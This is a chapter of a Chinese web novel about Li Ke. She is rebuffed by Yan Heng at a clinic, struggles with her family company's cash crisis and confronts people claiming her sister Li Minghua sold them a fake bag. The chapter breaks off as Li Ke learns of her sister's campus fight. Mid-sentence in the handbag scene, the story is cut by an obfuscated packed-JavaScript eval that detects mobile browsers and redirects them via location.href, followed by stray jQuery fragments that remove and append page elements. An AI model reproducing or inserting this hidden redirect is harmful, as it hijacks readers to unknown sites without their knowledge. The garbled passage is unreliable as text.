12. 一波未平,一波又起

作品:《踹了古早霸总后,我卷赢了整个科技圈

    12、


    “怎么在诊所啊?!可可,你不会被严恒打了吧?!!”


    隋媛媛那尖锐的吼声听得我一个激灵,满眼嫌弃地拿远手机。


    诊所的老医生一边用碘伏消毒,一边“啧啧”摇头,一边又叮嘱我注意事项。


    碘伏刺激得伤口火辣辣地疼,我龇牙咧嘴,旁边隋媛媛在电话那头还在叽叽喳喳问怎么回事。


    “挂了!”我没好气地低吼,挂了电话,感觉太阳穴突突地跳,比伤口还疼。


    太丢人了。


    简直是史诗级的社死现场。


    我厉可这辈子,不,两辈子加起来都没干过这么蠢的事!


    好像一头老猪费劲巴拉地去拱白菜,用力过猛,不小心还撞树墩子上了。


    天呐,严恒他们工作室的人一定笑死了!


    焯!


    光是回想,我就觉得脸颊滚烫,恨不得原地挖个洞把自己埋了。


    我双手抱头,试图催眠自己快点忘记刚才那丢脸的一幕,就在这时,诊所那扇玻璃门突然被人从外面推开了。


    沉稳的脚步声渐渐靠近,到我身边,停住。


    我疑惑地抬头看了眼——


    严恒。


    他怎么来了?!!


    我脑子里“轰”的一声,血液瞬间冲上头顶,刚刚冷却一点的脸颊再次爆红。


    我猛地抓过一边不知名的杂志举过头顶,遮住整张脸,然而,这样的举动简直和掩耳盗铃没什么区别。


    我也不知道是幻觉还是真实,仿佛听到了一道低沉的轻笑声。


    天呐,让我死吧。


    一分钟后,他似乎在我旁边坐下了,隔着一个空位。


    空气里弥漫着碘伏和消毒水的味道,还有一丝……属于他的清冷干净的味道。


    我能感觉到他的目光,落在我用杂志挡得严严实实的侧脸上。


    然后,一杯冒着热气的纸杯咖啡,被一只骨节分明的手,轻轻放在了我旁边的空椅子上。


    “……”


    我偷瞄了眼那杯咖啡,没动,也没吭声,杂志举得稳稳的,假装无事发生。


    “不用白费力气了。”他开口,声音一如既往的低沉淡漠,像在陈述一个客观定律,“无论你做什么,说什么,演什么戏,我们之间,都没有合作的可能。”


    杂志后的我,嘴角不受控制地抽搐了一下。


    破防了。


    真的破防了。


    连日来的焦虑挫败和父亲病倒的恐慌,被股东逼迫的无助,被严恒一而再再而三无视拒绝的难堪,还有刚才那场愚蠢至极的“强吻未遂”带来的羞耻和狼狈……所有负面情绪在这一刻,被严恒这句冰冷平静的话,彻底点燃,炸了。


    “唰!”


    我猛地将杂志摔在旁边的空椅子上,发出一声闷响。巨大的动作牵扯到额头的伤口,疼得我倒吸一口冷气,但我顾不上了。


    我“豁”地站起来,低头,俯视着坐在神色没有什么波动的严恒。


    午后的夕阳,透过诊所的玻璃散进来,将的黑发镀上了一层淡淡的金色,让他那张线条冷硬的侧脸意外地柔和了些许,甚至显出几分慵懒。


    但这柔和看在此时的我眼里,只有加倍的可恨。


    “不干就不干!严恒,你给我听好了!我厉可,从今天起,要是再低三下四来求你一个字,我名字倒过来写!厉氏是死是活,是我自己的事!用不着你来施舍你那点‘有趣’的同情!”


    我抓起包,转身就要走,脚步迈出去两步,又猛地刹住。


    不行,就这么走了,太憋屈了。


    总得扳回一城,哪怕只是口舌之快。


    我深吸一口气,转过身,看着他那张微微挑起眉梢的脸,努力扯出一个尽可能讽刺的笑容。


    “你口口声声说我只对‘有趣’的东西感兴趣,高高在上,好像我这种满身铜臭的商人根本不懂你的世界。但你心里在想什么,我一清二楚。”


    严恒没说话,只是抬眼看着我,茶色的瞳孔在午后的阳光下,像两潭深不见底的琥珀。


    他身体微微后靠,手肘搭在椅子扶手上,指尖有一下没一下地轻轻敲击着,那姿态,似乎真的被我勾起了那么一丝……极其微弱的兴趣?


    “哦?”他开口,尾音微微上扬,带着点不经意的催促,“说说看。”


    我看着他这副样子,心头的火更旺了。


    “你肯定在想——”


    “这个蠢货,终于要滚了,对吧?”


    严恒不置可否,抱着胳膊静静看我,唇角微勾,露出一抹意味不明的笑。


    这种姿态,比那种“随你怎么想”的漠然,比任何激烈的反驳都更让人难堪,更让人火大。


    我感觉自己像一记重拳打在了棉花上,再次给自己造成了二次羞辱。


    “行!你厉害!”我气得胸口发闷,狠狠瞪了他一眼,转身,几乎是跑着冲出了诊所。


    初秋午后炽热的阳光一照,我才觉得那股憋闷到快要爆炸的感觉稍微散去一些,但随之而来的是更深的疲惫和无力。


    额头一跳一跳地疼,提醒着我刚才的狼狈和愚蠢。


    我拦了辆出租车,报出厉氏总部的地址,靠在车后座上,看着窗外飞速倒退的街景,我第一次对自己产生了强烈的怀疑。


    我真的很差劲么?


    厉氏大楼里依旧弥漫着那种惶惶不安的死气。


    员工们看到我,眼神躲闪,问好声有气无力。几个中层看到我额头的伤,交换着意味不明的眼神。


    陈姐抱着一摞文件等在我临时办公室门口,看到我的样子,吓了一跳:“厉小姐,您这是……”


    “没事,磕了一下。”我摆摆手,推门进去,“情况怎么样?”


    陈姐跟进来,把文件放在我桌上,脸色凝重:“很不好。王副总他们虽然没再来闹,但退股的意向很坚决,已经在联系评估机构了。银行那边……张经理私下透露,虽然暂时没继续催,但态度很强硬,延期可以,但必须看到我们实质性的还款计划或者资产处置进展。另外,几家原材料供应商听说风声,也开始催以前的尾款了……”


    我看着桌上那堆密密麻麻标注着红字的报表和账单,数字触目惊心。


    现金流已经是负的,好几个账户被冻结。父亲之前力保的几个地产项目,成了最大的资金黑洞。


    “还有,”陈姐犹豫了一下,声音更低,“技术部那边,之前您让留意手机相关专利和团队,有几个工程师……提交了辞职报告。说是……找到了更好的下家。”


    墙倒众人推。树倒猢狲散。


    我揉了揉胀痛的太阳穴,感觉眼前一阵阵发黑。


    “厉小姐,”陈姐小心翼翼地看着我,“要不……科技公司的事,咱们先放一放?眼下最要紧的,是稳住基本盘,让公司能维持运转,等厉董身体好了……”


    “等不了。”我打断她,声音沙哑但坚定,“陈姐,你不懂。现在放弃转型,就等于放弃了未来。传统制造业不是长久之计。我们现在咬牙挺着,勉强维持,也不过是苟延残喘,等到下一个经济周期,或者被下一个技术浪潮拍死。必须变,再难也得变。”


    陈姐看着我,眼神复杂,有担忧,有不忍,也有一丝不易察觉的动摇。最终,她只是叹了口气:“那……现在资金缺口这么大,人才也在流失,我们第一步该怎么走?”


    这也是我最头疼的问题。巧妇难为无米之炊。


    没有钱,没有人,什么蓝图都是空中楼阁。


    就在我对着报表一筹莫展,感觉脑袋快要被各种数字和困境撑裂时,桌上的内线电话尖锐地响了起来。


    是前台,声音带着惊慌:“厉小姐!楼下有人闹事!说要见厉董!我们拦不住!”


    “什么人?”我心烦意乱。


    “几个年轻人,穿得流里流气的,手里还拿着个包!说是明华小姐卖假货给他们,让赔钱!不然就要报警,还要找媒体曝光!”


    厉明华?假货?


    我心头一紧。这个节骨眼上,她怎么又惹事?


    “我马上下来。”


    我挂断电话,对陈姐说了句“处理点事”,匆匆下楼。


    一楼大厅已经围了一些看热闹的员工。


    前台附近,站着三个打扮时髦、但神态倨傲的年轻男女,两女一男。


    为首的是个画着浓妆穿着超短裙的女孩,手里拎着一只粉色印满LV老花和彩色花朵图案的链条包,正是几年前出过的限量款,但皮质和走线看起来……确实有些可疑。


    “叫厉万森出来!他女儿卖假货骗钱,当老子的不该管吗?!”浓妆女孩声音尖利,拿着包在手里晃,“看看!看看这做工!这五金!A货都算不上!地摊货!我花了三万八!厉明华呢?让她滚出来!”


    “厉明华小姐目前不在公司。”前台小姑娘试图解释,声音发虚。


    “不在?躲起来了是吧?”旁边那个染着黄毛的男生嗤笑,“我们找去她学校,老师说她已经好几天没去上课了!不在这儿能在哪儿?赶紧叫厉万森出来!不然我们马上报警!再把这事儿发网上去,看你们厉氏还要不要脸!”


    周围员工的窃窃私语声更大了,指指点点,眼神各异。


    我拨开人群走过去。额头上包着纱布的样子似乎镇住了他们一下。


    “我是厉可,厉明华的姐姐。有什么事,跟我说。”


    浓妆女孩上下打量我,目光在我额头纱布上停留一瞬,撇撇嘴:“跟你说?你能做主?厉明华卖我假包,骗我三万八,你说怎么办吧!”


    “包给我看看。”我伸手。


    女孩犹豫了一下,把包递过来。


    我接过来仔细看了看。说实话,我对奢侈品鉴定不算特别在行,但这只包的皮质手感确实偏硬,印花边缘有些模糊,金属链条掂量着也轻飘飘的,刻字粗糙。是假货的可能性很大。


    “厉明华为什么卖你包?你们什么关系?”我问。


    “同学的朋友呗!”黄毛抢着说,“她说家里有钱,什么限量款都有,可以低价转让。我们看她天天被豪车接送,住的是别墅,就信了!谁知道拿回来一鉴定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478202|201602||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,假的!找她要说法,电话不接,信息不回,人也没影了!”


    “这样。”我稳住心神,看着他们,“这包是真是假,还需要进一步鉴定。如果是假的,钱,我们厉家会赔。我给你们留个电话,你们先回去。”


    “回去?!”那女孩上在大量我一眼,满眼不屑,“你谁啊?打发叫花子呢?!你说了算么?”


    眼看围观的人越来越多,指指点点,议论纷纷。


    我不能再让事态恶化,影响公司本就不稳的人心。


    “我说了不算,但钱可以。”我打断她的叫嚣,让陈姐拿过支票本。


    “这包,我以厉可个人名义,先按你们说的价格买下来。是不是假货,我会去鉴定。如果是,钱你们拿走,包我处理。如果不是,或者中间有什么误会,这笔钱,你们得连本带利还回来。”


    我在支票上唰唰签下数字,递过去。


    “厉可?”女孩和黄毛对视一眼,把支票收了起来,但嘴里还是不干不净:“行,算你识相。不过我可提醒你,厉明华最近可不止坑了我们。我听说她还跟外面一些不三不四的人混在一起,到处惹是生非,你们厉家,真该好好管管了!别以为有几个臭钱就了不起,家教这么差,迟早把家业败光!”


    说完,几个人拿着支票,骂骂咧咧地走了。


    周围看热闹的员工也慢慢散去,但那些眼神里的揣测和轻视,却像针一样扎在我背上。


    我捏着那只可疑的假LV,气得牙根痒痒。


    这个该死的厉明华!


    我拿出手机给郝惠梅打电话。响了很久,无人接听。又给厉明德打,同样是漫长的等待音后转入语音信箱。


    这对母子,在这种时候,倒是默契十足地“消失”了。


    无奈,我只好让陈姐去查厉明华导员的电话打了过去。


    电话接通,我自报家门,刚说了句“我是厉明华的姐姐……”


    那头就打断我。


    “厉明华的姐姐?”辅导员是个中年女声,语气立刻变得严肃甚至带着怒气,“你打得正好!我正想联系你们家长!厉明华同学出事了!现在人在校医院!你赶紧来学校一趟!”


    “什么事?”我心头一跳。


    “打架!在校外跟人打起来了!头都打破了!对方家长也来了,闹得不可开交!你赶紧过来处理!”辅导员语气急促,“还有,她无故旷课好几天,联系你们家里人都没人管,再这样我要通知系主任了给她办退学了!”


    我脑袋“嗡”的一声,比刚才撞了主机还响。


    假包的事情还没弄明白,又打架?还头破血流?


    他妈的,这一天,没好时候。


    我眼前发黑,强撑着说了句“我马上到”,挂了电话,抓起包和车钥匙就冲了出去。


    一路疾驰赶到S大。


    校医院在校园深处,一栋老旧的小楼。


    我找到辅导员说的处置室,还没推门,就听见里面传来女人尖利的哭骂声和男人粗声粗气的吼叫。


    我推门进去。


    不大的处置室里挤满了人。


    辅导员和一个校领导模样的人正在焦头烂额地劝解。


    另一边,一对穿着体面但满脸怒容的中年夫妻,正护着一个脸上挂彩哭哭啼啼的女生。女生头发凌乱,脸上有抓痕,眼睛红肿。


    而靠窗的病床边,坐着厉明华。


    她比我上次在家见到时更瘦了,脸色苍白,左边额角贴着纱布,隐隐有血迹渗出,嘴角也破了,脸颊有一大块青紫。


    她穿着简单的T恤牛仔裤,上面沾着尘土和已经干涸的暗红色血点。


    听到开门声,厉明华下意识抬头看了一眼。


    当看到进来的人是我时,她那双总是带着怯懦躲闪的眼睛里,瞬间爆发出极其强烈的错愕和难以置信。


    但下一秒,那眼神就被更浓的疏离戒备覆盖了。


    厉明华迅速低下头,不再看我。


    “你就是厉明华的家长?”那对中年夫妻中的男人立刻调转炮火对准我,语气咄咄逼人,“看看你们家孩子把我女儿打成什么样了!小小年纪不学好,在校外跟不三不四的人鬼混,还敢动手打人!今天必须给个说法!赔钱!道歉!还要学校严肃处理!”


    “厉明华姐姐是吧?”辅导员也皱着眉过来,“事情是这样的,她们几个,为了争风吃醋,在校外奶茶店打起来了。是为了计算机学院的蔺泽同学,两人都和他有情感纠葛,所以......”


    争风吃醋?为了个男生?


    我看向厉明华,她头垂得更低,肩膀几不可查地瑟缩了一下。


    “那个男生呢?”我问。


    “已经通知了,还没来。”辅导员话音刚落。


    处置室的门,再次被轻轻推开。


    一个穿着干净白衬衫和卡其色休闲裤的男人进了门。


    他个子很高,身形挺拔,面容清俊温和,气质儒雅,脸上带着恰到好处的歉意和担忧,目光在室内扫过,先对辅导员和校领导微微颔首:“抱歉,王老师,刘主任,我来晚了。”